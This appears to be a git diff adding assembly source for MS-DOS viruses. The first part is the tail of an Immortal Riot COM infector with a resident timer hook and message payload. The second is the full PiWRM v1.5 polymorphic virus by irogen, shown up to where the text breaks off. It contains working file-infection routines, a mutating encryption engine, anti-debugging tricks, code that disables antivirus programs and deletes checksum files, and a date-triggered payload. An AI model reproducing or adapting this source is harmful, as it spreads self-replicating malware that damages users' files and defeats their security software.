virus_marker2 ; Compare it + jnz infect_it ; infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + jmp find_next_file ; 'cuz it's already infected + +Signature db '\\ Merry Xmas and a happy new year // ' + db 'Sweden - Snowing Again' +;============================================================================= +;D-Good Stuff - Infection routine +;============================================================================= +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ; DS:[SI] -> ES:[DI] + movsw ; Save origtime + movsw ; Save origdate + movsw ; Save filesize + ; Only need LSW + ; because COM files + ; can only be up to + ; 65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ; is less than 8 bytes. + +do_again: + mov ah, 2Ch ; get time + int 21h + add dl, dh ; 1/100 sec + 1 sec + jz do_again ; Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ; 255 mutations + + mov ax, 4301h ; Set file attributes + xor cx, cx ; to nothing + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ; do it now, my child + + mov ah, 3Eh ; Close file + int 21h ; handle in BX + + mov ax, 3D02h ; Open file read/write + int 21h ; Filename offset in DX + jc bomb_out ; Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ; copy filehandle to + ; oldhandle + stosw ; AX -> ES:[DI] + xchg ax, bx ; file handle in BX now + + mov ah, 40h ; Write DS:[DX]->file + mov cx, part1_size - 4 ; number of bytes + mov dx, 0100h ; where code starts + int 21h ; (in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ; write jmp offset + + mov ax, [si] ; AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ; move file ptr + xor cx, cx ; from EOF + xor dx, dx ; offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ; Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ; old time and + add si, 2 + mov dx, word ptr [si] ; date + int 21h + + mov ah, 3Eh ; Close file + int 21h + + mov ax, 4301h ; Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ; attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ; do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: + + push es + mov byte ptr cs:[100h],0 ; Initialize fingerprint + xor bx, bx ; Zero BX for start + mov ax, cs +Init1: inc bx ; Increment search segment + mov es, bx ; value + cmp ax, bx ; Not installed if we reach + je Not_Installed_Yet ; the current segment + mov si, 100h ; Search segment for + mov di, si ; fingerprint in first + mov cx, 4 ; four bytes + repe cmpsb ; Compare + jne init1 ; If not equal, try another + jmp Quit_Init ; else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ; DS:[SI]->ES:[DI] + + mov ax, 3508h ; Get int 8 handler + int 21h ; put in ES:BX + + mov cs:[duh], bx ; Save old handler + mov cs:[duh+2], es ; in cs:[104h] + + mov ax, 2508h ; Install new handler + mov dx, Int_08_Start ; from DS:DX + int 21h ; Do it + + push es + mov ax, ds:[2Ch] ; Deallocate program + mov es, ax ; environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ; TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + int 21h + int 20h ; In case of error +Quit_Init: + pop es +Error: ; On error, quit +Quit: +; if get drive, place it here (restore, and change to in the beginning). + mov ah, 3Bh ; Change directory + mov dx, offset root_dir ; to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ; Change directory + ; Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ; Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ; Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ; DS:SI -> AL + add si, ax ; ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ; Length of string + mov ax, 1300h ; + mov bx, 0070h ; Page 0, inverse video + xor dx, dx ; (0,0) + int 10h ; Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh + Messages db 0 + db 15, 'Another year passed by' + db 21, 'Another tear the willows cry' + db 22, 'to change the world we ever try' + db 26, 'to make a difference before we die' + db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.' + db 40, '(c) 93/94 The Unforgiven / Immortal Riot' + +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start \ No newline at end of file diff --git a/p/PW15.ASM b/p/PW15.ASM new file mode 100755 index 0000000..1549d00 --- /dev/null +++ b/p/PW15.ASM @@ -0,0 +1,1085 @@ + +; **Beta Code** +; ------ +; PiWRM v1.5 coded by irogen +; Variant A +; ------ +; +; See enclosed NFO for more info.. +; +; version 1.5: +; Conditional compilation equates added for creation of new variants +; Improved polymorphic engine +; Fixed possible bug in polymorphic engine after 50 or so generations +; +; +; compile like so: +; TASM /m pinworm +; Tlink pinworm +; --convert to COM-- +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; +; Compile Options +; +SECOND_CRYPT equ 0 ; use second cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? +TWO_BYTE equ 1 ; Use two byte garbage code? +KILL_DATE equ 19 ; day of the month to play with user +MAX_EXE equ 4 ; max exe file size -high byte +MSG_FILEZ equ 10 ; number of filenames for our msg + +; +; Polymorphic Engine Equates +; +INC_BUF_SIZE equ 38 ; INC buf +ENC_OP_BSIZE equ 38 ; ENC buf +PTR_BUF_SIZE equ 38 ; PTR buf +CNT_BUF_SIZE equ 38 ; CNT&OP +DJ_BUF_SIZE equ 38 ; DEC&JMP +GARBAGE_OPS equ 0Fh ; # of garbage ops in each group + +; +; Misc. +; +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +real_start equ offset dj_buf+3 ; starting location of encryted code + + +org 0h + +start: +; +; Polymorphic Encryptor/Decryptor Buffer +; +; + encrypt: + ptr_buf db PTR_BUF_SIZE dup (90h) + encryptor: + cnt_buf db CNT_BUF_SIZE dup(90h) + enc_loop: + inc_buf db INC_BUF_SIZE dup(90h) + enc_op_buf db ENC_OP_BSIZE dup(90h) + dj_buf db DJ_BUF_SIZE dup (90h) + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; +; Second Decryptor - Anti-Debugging +; +; Uses reverse direction word XOR encryption +; Uses the following techniques: +; JMP into middle of operand +; Replace word after CALL to kill stepping over call +; Kills INT 1 vector +; Disables Keyboard via Port 21h +; Reverse direction encryption prevents stepping past loop +; Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + + +ENDIF +; +; Start of Viral Code +; + +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,KILL_DATE ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + call get_timer + cmp dl,5 + jle no_install + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; +; Infection Routine +; +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jz d_time + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,MAX_EXE + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jnz d_time + + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; +; Kills CHKLIST.CPS and CHKLIST.MS +; +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; +; Set File PTR +; + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; Morph, copy, & crypt + +; 0 bytes constant +; 0 functionally equivilant operands in constant locations +; +; Random byte defined as: +; 76543210 +;  0=JNZ,1=JNS +;  0=ADD&SUB, 1=XOR +;  0=BYTE CRYPTION, 1=WORD CRYPTION +;  1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND +;  1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY +;  not used +;  not used +;  not used +; +; +encrypt_code: + + push bx ; save the handle + + call get_timer +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + + mov ax,0FFFFh + call random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + +; Fill buffer space with one-byte garbage ops + + lea di,encrypt + mov bp,enc_size+1 + mov bl,1 ; one byterz.. + call fill_buffer + +; Randomly select between jmp type : JNZ or JNS + + test enc_num,00000001b + jnz jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +; Select encryption type: XOR or ADD&SUB + + mov enc_type,04 ; default to encrypting ADD + mov dec_type,2Ch ; and decrypting SUB + test enc_num,00000010b + jz use_add_sub + mov dec_type,34h ; decrypting XOR + mov enc_type,34h ; encrypting XOR + use_add_sub: + +; Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next register in line + inc byte ptr dec_op + +; Select position of INC DI|SI + + mov ax,INC_BUF_SIZE-1 + call random ; select a position in the buffer.. + xchg di,dx + add di,offset inc_buf + mov inc_op_ptr,di ; save ptrs + mov inc_op_ptr2,di + +; Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr [di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr [di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr dec_type ; increment decryptor + inc byte ptr enc_type ; increment encryptor + done_chg_ptr: + +; Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test enc_num,00000100b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ax,di + sub ax,offset inc_buf+1 + call random + mov ch,byte ptr [di] ; get INC DI|INC SI operand + sub di,dx + mov byte ptr [di],ch ; make a copy of it for word cryption + mov inc_op_ptr2,di + use_byte: + +; Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +; Set DEC XX /JNS|JNZ operands + + mov ax,DJ_BUF_SIZE-3 + call random ; select a pos. + add dx,offset dj_buf + mov di,dx + sub dx,offset enc_loop-3 ; find loop size + neg dx ; negate for negative jump + mov byte ptr jnz_op+1,dl ; write jmp offset + dec dl + mov byte ptr loop_ofs,dl ; write loop offset + mov dec_op_ptr,di + lea si,dec_op + movsb ; write operand(s) +write_loop: + movsw + inc di + add rel_off,di ; chg offset for decryption + push di ; save offset after jmp + + +; Set MOV DI,XXXX|MOV SI,XXXX + + mov ax,PTR_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset ptr_buf ; build ptr + mov ptr_op_ptr,di ; save ptr + lea si,ptr_set + movsw ; write op + movsb + +; Set MOV AX|BX|DX|CX,XXXX + + mov ax,CNT_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset cnt_buf ; build ptr + mov count_op_ptr,di ; save ptr + lea si,count_op + movsw ; write op + movsb + +; Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov ax,ENC_OP_BSIZE-5 + call random ; select pos. + xchg dx,di + add di,offset enc_op_buf ; build ptr + mov enc_op_ptr,di ; save ptr + lea si,seg_op + movsw ; write op + movsw + +IF TWO_BYTE +; Throw in some 2 byte garbage ops + test enc_num,00010000b ; use two-byte garbage? + jz no_2byte_grb + lea di,encrypt + mov bp,ptr_op_ptr + push bp + call fill_between + pop di + add di,3 ; 3bytez large + mov bp,count_op_ptr + push bp + call fill_between ; fill between start and count reg + pop di + add di,3 ; 3bytez large + mov bp,inc_op_ptr2 + push bp + call fill_between ; fill between count reg and inc ptr + pop di + inc di ; 1byte large + mov bp,inc_op_ptr + push bp + call fill_between ; if another inc ptr op exist, then + pop di ; .. fill in between both of them + inc di ; 1byte large + mov bp,enc_op_ptr + push bp + call fill_between ; fill between inc ptr and encryption + pop di ; ..op + add di,5 ; 5bytez large + mov bp,dec_op_ptr + call fill_between ; fill between encryption op and loop +no_2byte_grb: +ENDIF + +; +;[END OF POLYMORPHIC ENGINE] +; + +; FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +; Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +; Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + call dbl_crypt + mov ret2_byte,90h +ENDIF + +; Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +; Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov al,enc_type + mov bx,enc_op_ptr + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; +; Garbage Code Filler +; DS:DI = buffer address +; BP = buffer size +; BL = 1 - Use 1 byte random garbage ops +; = 2 - Use 2 byte random garbage ops +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; +; +fill_buffer: + push ax + mov ax,GARBAGE_OPS + call random + pop ax + mov si,dx ; build index ptr +IF TWO_BYTE + cmp bl,1 ; using 1 byte, or 2 byte ops? + jnz word_grb +ENDIF + mov al,byte ptr [nops_1+si] ; get 1byte operand from table + mov byte ptr [di],al ; write operand +IF TWO_BYTE + jmp did_1byte +word_grb: + cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin + jnz di_ok +di_not_ok: + mov al,byte ptr [nops_1+si] ; get 1byte op + mov ah,al ; duplicate + jz couldnt_do_2 +di_ok: + cmp di,offset encryptor-1 ; don't put 2byte op at call begin + jz di_not_ok + add si,si ; double pointer for word offsets + mov ax,word ptr [nops_2+si] ; get garbage op +couldnt_do_2: + mov word ptr [di],ax ; write op + inc di ; increment ptr + dec bp ; decrement counter + jz _fret +did_1byte: +ENDIF + inc di ; increment buffer ptr + dec bp ; decrement counter + jnz fill_buffer ; loop +_fret: ret + +IF TWO_BYTE +; +; Fill Bytes Between Two Ops /w Garb. +; DS:DI=First Op +; DS:BP=Last Op +; +fill_between: + sub bp,di ; get difference of offsets + cmp bp,4 ; if <4 then not 'nuff room + jl not_room + sub bp,2 ; make sure we don't overwrite last op + mov bl,2 ; use 2byte garbage ops + call fill_buffer +not_room: + ret +ENDIF +; +; Get sec/ms from clock +; +get_timer: + push ax + mov ah,2ch ; get clock + int 21h + mov ran_seed,dx + pop ax + ret + +; +; Get Random Number +; AX=max number +; ret: DX=random # [will not return 0] +; ROUTINE PARTIALLY FROM: TP6.0 BOOK +; +random: + push ax + mov ax,ran_seed + mov cx,31413 + mul cx + add ax,13849 + mov ran_seed,ax + pop cx + mul cx + cmp dx,0 + jnz ran_ok + inc dx +ran_ok: + ret + +; +; Associated bullshit +; +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIWrM.g!',0 ; DIR created +root db '..',0 ; for changing to org. dir +file1 db 'PIWrM',0 ; filez created in dir.. + db 'version',0 ; must be 8 chars each+null + db '1-5-A',0 ; (255 not space) + db '',0 + db 'Dedicate',0 + db 'dtoTKS',0 + db '--',0 + db 'Coded',0 + db 'by',0 + db 'irogen',0 ; #9 +activate db 0 +isav db 0 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) + +ran_seed dw 0 +; +; Polymorphic engine data +; +inc_op_ptr dw offset inc_buf ; ptr to location of INC +enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr +ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos +count_op_ptr dw offset cnt_buf ; ptr to counter reg pos +dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos +inc_op_ptr2 dw 0 +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX +enc_num db 0 +enc_type db 2Ch +ptr_set db 0BEh ; MOV DI|SI,XXXX +rel_off dw real_start+100h +count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX +crypt_bytes dw offset vend-offset dj_buf +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op db 75h,0 +;loop_op db 0E2h ; LOOP XX +loop_ofs db 0 +; +; One-byte Garbage Operands (must be 16) +; + +nops_1: nop +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + +IF TWO_BYTE +; +; Two-byte Garbage Operands (must be 16) +; +nops_2: db 0EBh,0 ; JMP $+2 + db 74h,0 ; JZ $+2 + db 75h,0 ; JNZ $+2 + db 7Ch,0 ; JL $+2 + db 7Fh,0 ; JG $+2 + db 72h,0 ; JC $+2 + or bp,bp + not bp + neg bp + mov bp,ax + mov bp,dx + mov bp,si + mov bp,di + mov si,si + mov di,di + xchg cx,cx +ENDIF + +; +; Activation Routine +; +; Creates directory named after Pinworm and files +; in that directory which together form a message. +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + + lea dx,file1 ;offset of first filename + mov bp,MSG_FILEZ ;# of filez total +make_msg: + xor cx,cx ;null attribs + mov ah,3ch + int 21h ;create phile + jc dont_close + xchg ax,bx + mov ah,3eh ;close phile + int 21h +dont_close: add dx,9 ;point to next phile + dec bp + jnz make_msg + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +; +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +; +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +; +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + 